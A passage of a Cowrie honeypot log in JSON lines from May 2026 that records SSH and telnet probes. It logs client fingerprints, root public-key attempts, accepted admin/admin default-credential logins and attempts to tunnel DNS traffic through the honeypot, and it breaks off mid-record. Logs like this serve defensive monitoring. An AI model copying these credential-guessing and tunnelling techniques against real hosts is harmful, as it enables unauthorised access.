{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":7632,"dst_ip":"10.17.0.5","dst_port":22,"session":"13b7bcc03f64","protocol":"ssh","message":"New connection: 87.251.64.176:7632 (10.17.0.5:22) [session: 13b7bcc03f64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:52:37.510237Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:52:37.514128Z","src_ip":"87.251.64.176","session":"13b7bcc03f64","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:52:37.610425Z","src_ip":"87.251.64.176","session":"13b7bcc03f64","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:52:37.898374Z","src_ip":"87.251.64.176","session":"13b7bcc03f64","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:52:37.997380Z","session":"13b7bcc03f64","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:52:38.099031Z","src_ip":"87.251.64.176","session":"13b7bcc03f64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:52:38.196894Z","src_ip":"87.251.64.176","session":"13b7bcc03f64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.235.186.234","src_port":51226,"dst_ip":"159.203.135.109","dst_port":23,"session":"a68de8bd11d8","protocol":"telnet","message":"New connection: 196.235.186.234:51226 (159.203.135.109:23) [session: a68de8bd11d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:53:49.701710Z"}
{"eventid":"cowrie.session.closed","duration":13.399325847625732,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:54:03.100963Z","src_ip":"196.235.186.234","session":"a68de8bd11d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.27.89","src_port":64330,"dst_ip":"10.17.0.5","dst_port":22,"session":"ead8cda43253","protocol":"ssh","message":"New connection: 135.148.27.89:64330 (10.17.0.5:22) [session: ead8cda43253]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:54:35.438086Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:54:35.441489Z","src_ip":"135.148.27.89","session":"ead8cda43253","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:54:35.453908Z","src_ip":"135.148.27.89","session":"ead8cda43253","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"77:97:7b:5f:a2:f4:3d:1d:ce:6a:bd:0e:1b:42:b6:ac","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAmEdP3ePCcm+b7LxLecEYSyADsts3jcnDdyJbQfTO5AGnPckedLRFa6O3MUYXLoYP9AceZNv0++bGTPBfErgA14MpA8mldqkzlz2MffJPly3lfcQrXq9t1y7SyoE9MXwK92o3NcmTK6x/uNcPGDtaI12k2FAxTO3eSOVya1mDBLYnf9k1+3kkeS9G1stOYGOMafiDCR3KyFgTJepywzQO4qKWQnxj2YgbyXW8WJnFFF2PMI5w2LN+SL01YVRwE4/As0AdXESCD6L99AlrsMyuqJrg106jUOVgyanUHmiOqmR8BNGjEInubPSNiMF9nvUkRPix2T48lwCYQj/SWQQ1pQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 77:97:7b:5f:a2:f4:3d:1d:ce:6a:bd:0e:1b:42:b6:ac","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:54:35.494802Z","src_ip":"135.148.27.89","session":"ead8cda43253","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"77:97:7b:5f:a2:f4:3d:1d:ce:6a:bd:0e:1b:42:b6:ac","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAmEdP3ePCcm+b7LxLecEYSyADsts3jcnDdyJbQfTO5AGnPckedLRFa6O3MUYXLoYP9AceZNv0++bGTPBfErgA14MpA8mldqkzlz2MffJPly3lfcQrXq9t1y7SyoE9MXwK92o3NcmTK6x/uNcPGDtaI12k2FAxTO3eSOVya1mDBLYnf9k1+3kkeS9G1stOYGOMafiDCR3KyFgTJepywzQO4qKWQnxj2YgbyXW8WJnFFF2PMI5w2LN+SL01YVRwE4/As0AdXESCD6L99AlrsMyuqJrg106jUOVgyanUHmiOqmR8BNGjEInubPSNiMF9nvUkRPix2T48lwCYQj/SWQQ1pQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:54:35.498461Z","src_ip":"135.148.27.89","session":"ead8cda43253","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bf:4f:ef:0c:7b:2a:c5:01:cd:b9:ef:21:4d:3e:28:82","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILhfyKwqr24cbG3AdOzIl+0sTzkXMfqbIXqwdmL5HRM+","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint bf:4f:ef:0c:7b:2a:c5:01:cd:b9:ef:21:4d:3e:28:82","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:54:35.514524Z","src_ip":"135.148.27.89","session":"ead8cda43253","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bf:4f:ef:0c:7b:2a:c5:01:cd:b9:ef:21:4d:3e:28:82","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILhfyKwqr24cbG3AdOzIl+0sTzkXMfqbIXqwdmL5HRM+","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:54:35.518271Z","src_ip":"135.148.27.89","session":"ead8cda43253","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b8:0b:7c:a4:ad:a3:93:b0:db:be:69:70:59:fa:4a:e8","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAMdGec6E2itCvkDmYiezHDjwYKXhG7Yhg3DPoCmry1c8PUaOkdDBzXOBhDs2lpHsXrg2l4+18ooYGkPJ8N2/RSlWxrJUE06ltLV0ibxRzmNGut7NA+CeDpqp8W+UUMj/p9VJ8YQxuxjnJxk4/GVi3k5oDAhBQHsc/jot61ulWCbxAAAAFQD4F4FMrGbuHrEt+wMa9yP20r8s5QAAAIBWwPP5vjc5qeqQinziRRYJDW/upBt6VsJcxqkj1hPO9j9pIiyDQVeKkG/uVseWBywg0JNcxVJWeHKe5iOUSjF0Rx+yYhlaqwLYc+6WtZHSoNOZlJWIcmTvEfViW932C66KO3HFHmPRwP2IAavQChiFsIRi5bs+zmX0TVyHGM5UDwAAAIAvdbshnLieBqV9nZ3IO0MpIC12urQgYQhhGlRcCXLfCfBiUVaun1sWzbdgCZZulRNXjptvPziU9YMVqrj34FdRmGWXARDLL6+FhzFDmm5ZGA47BzTrX2Aikfpzhvc76XBokxE1qa0IgrxRuXl1NxiLltTAFXsfLdUWXdFfWbt2qA==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint b8:0b:7c:a4:ad:a3:93:b0:db:be:69:70:59:fa:4a:e8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:54:35.531618Z","src_ip":"135.148.27.89","session":"ead8cda43253","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b8:0b:7c:a4:ad:a3:93:b0:db:be:69:70:59:fa:4a:e8","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAMdGec6E2itCvkDmYiezHDjwYKXhG7Yhg3DPoCmry1c8PUaOkdDBzXOBhDs2lpHsXrg2l4+18ooYGkPJ8N2/RSlWxrJUE06ltLV0ibxRzmNGut7NA+CeDpqp8W+UUMj/p9VJ8YQxuxjnJxk4/GVi3k5oDAhBQHsc/jot61ulWCbxAAAAFQD4F4FMrGbuHrEt+wMa9yP20r8s5QAAAIBWwPP5vjc5qeqQinziRRYJDW/upBt6VsJcxqkj1hPO9j9pIiyDQVeKkG/uVseWBywg0JNcxVJWeHKe5iOUSjF0Rx+yYhlaqwLYc+6WtZHSoNOZlJWIcmTvEfViW932C66KO3HFHmPRwP2IAavQChiFsIRi5bs+zmX0TVyHGM5UDwAAAIAvdbshnLieBqV9nZ3IO0MpIC12urQgYQhhGlRcCXLfCfBiUVaun1sWzbdgCZZulRNXjptvPziU9YMVqrj34FdRmGWXARDLL6+FhzFDmm5ZGA47BzTrX2Aikfpzhvc76XBokxE1qa0IgrxRuXl1NxiLltTAFXsfLdUWXdFfWbt2qA==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:54:35.535229Z","src_ip":"135.148.27.89","session":"ead8cda43253","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1f:51:1d:b1:20:75:de:fd:40:c9:98:03:1d:71:16:d1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDXgIn5z26/cgqG49wj3RgdiXtPe7otLWncU/yUmowkvyKSCw3WmviAeYo7f7ryUO4efT6sMc9pGupZBddEk1tbCPSeb4lcvfB1Y1Z29Yvs1os/Mw5zhv/CjsWJSEx3D+T6VFKH/sIi7Fm70xN2GonqrX8j/JmN+Mj02qWrqxDClEhaF2qSZQBOK/5LQ2FP/yDn2hO1PJDvlNagVRXQdkGONqpUkrFMc1RNwtVZ09xstFtm86OmNIdLlGz44WXM11T9QVa18MG4hAVS1yT00I2thWf+teCqsgIrdLsEZGXNgfB9EfQknQcYhJ0zSo7ZlD9tyMPexf35HYz8s6dafc23","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1f:51:1d:b1:20:75:de:fd:40:c9:98:03:1d:71:16:d1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:54:35.549047Z","src_ip":"135.148.27.89","session":"ead8cda43253","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1f:51:1d:b1:20:75:de:fd:40:c9:98:03:1d:71:16:d1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDXgIn5z26/cgqG49wj3RgdiXtPe7otLWncU/yUmowkvyKSCw3WmviAeYo7f7ryUO4efT6sMc9pGupZBddEk1tbCPSeb4lcvfB1Y1Z29Yvs1os/Mw5zhv/CjsWJSEx3D+T6VFKH/sIi7Fm70xN2GonqrX8j/JmN+Mj02qWrqxDClEhaF2qSZQBOK/5LQ2FP/yDn2hO1PJDvlNagVRXQdkGONqpUkrFMc1RNwtVZ09xstFtm86OmNIdLlGz44WXM11T9QVa18MG4hAVS1yT00I2thWf+teCqsgIrdLsEZGXNgfB9EfQknQcYhJ0zSo7ZlD9tyMPexf35HYz8s6dafc23","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:54:35.552789Z","src_ip":"135.148.27.89","session":"ead8cda43253","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d6:dc:0f:bb:0c:e4:1f:06:0e:0b:ef:c6:53:19:77:54","key":"ssh-dss AAAAB3NzaC1kc3MAAACBANMjyGkEA24YRA/NJnFF+Eq3cE/Wd/bRymCbsp6WfRRy+JytWOpDZJR3R9/UjUGCG+af+yIOKXo2KIjR9ITGmJEMRT6KMKw+yk839hDmQQqgxwlYqsoPSjNccpnM5hHc9FjiE/T5zPMps7P15XjBgVBoKxeXoo4nf6skGphlnfopAAAAFQDbcmgTA4PB5EmtHb3yLV5PEtpb6wAAAIAW6P0z326jyU5Mjuxd85a4WYx2BXnIg/zB5Jg8tEE8gb7xrRjPXvCpGZGfB9gd9f7nB+mOY0PNBtQqduypyeQweFxaW138OMrO1qimYcyvGCpLdLaH3uXcCTFhcS+QI6j4FBUKHEDt6PY9/c5PsjcQde/Zm6XX2BwFgWIm22uiZAAAAIBt6hAs8TspwdND5UeM1xEWFtLJg0dKVbuhXcTR+wpwGxBX1+Nh7BD59haO6lGw90On8X6Sc8Iw6DDdxa3uyZ+1d/G7WkeM8F8VO8/439kLmOD1Utv+deaoG+DbzRX1eMFf8ruB9OLnFBxT2Us+dzuLEJwM7zoLoiF0g66a6v+dWA==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint d6:dc:0f:bb:0c:e4:1f:06:0e:0b:ef:c6:53:19:77:54","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:54:35.568068Z","src_ip":"135.148.27.89","session":"ead8cda43253","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d6:dc:0f:bb:0c:e4:1f:06:0e:0b:ef:c6:53:19:77:54","key":"ssh-dss AAAAB3NzaC1kc3MAAACBANMjyGkEA24YRA/NJnFF+Eq3cE/Wd/bRymCbsp6WfRRy+JytWOpDZJR3R9/UjUGCG+af+yIOKXo2KIjR9ITGmJEMRT6KMKw+yk839hDmQQqgxwlYqsoPSjNccpnM5hHc9FjiE/T5zPMps7P15XjBgVBoKxeXoo4nf6skGphlnfopAAAAFQDbcmgTA4PB5EmtHb3yLV5PEtpb6wAAAIAW6P0z326jyU5Mjuxd85a4WYx2BXnIg/zB5Jg8tEE8gb7xrRjPXvCpGZGfB9gd9f7nB+mOY0PNBtQqduypyeQweFxaW138OMrO1qimYcyvGCpLdLaH3uXcCTFhcS+QI6j4FBUKHEDt6PY9/c5PsjcQde/Zm6XX2BwFgWIm22uiZAAAAIBt6hAs8TspwdND5UeM1xEWFtLJg0dKVbuhXcTR+wpwGxBX1+Nh7BD59haO6lGw90On8X6Sc8Iw6DDdxa3uyZ+1d/G7WkeM8F8VO8/439kLmOD1Utv+deaoG+DbzRX1eMFf8ruB9OLnFBxT2Us+dzuLEJwM7zoLoiF0g66a6v+dWA==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:54:35.572310Z","src_ip":"135.148.27.89","session":"ead8cda43253","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:54:35.588804Z","src_ip":"135.148.27.89","session":"ead8cda43253","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":11098,"dst_ip":"10.17.0.5","dst_port":22,"session":"03a48e80f39a","protocol":"ssh","message":"New connection: 87.251.64.176:11098 (10.17.0.5:22) [session: 03a48e80f39a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:55:31.483027Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:55:31.486856Z","src_ip":"87.251.64.176","session":"03a48e80f39a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:55:31.583247Z","src_ip":"87.251.64.176","session":"03a48e80f39a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:55:31.872847Z","src_ip":"87.251.64.176","session":"03a48e80f39a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:55:31.971235Z","session":"03a48e80f39a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:55:32.068957Z","src_ip":"87.251.64.176","session":"03a48e80f39a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:55:32.167260Z","src_ip":"87.251.64.176","session":"03a48e80f39a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":40814,"dst_ip":"10.17.0.5","dst_port":22,"session":"a94150443ec7","protocol":"ssh","message":"New connection: 87.251.64.176:40814 (10.17.0.5:22) [session: a94150443ec7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:57:19.019920Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:57:19.024645Z","src_ip":"87.251.64.176","session":"a94150443ec7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 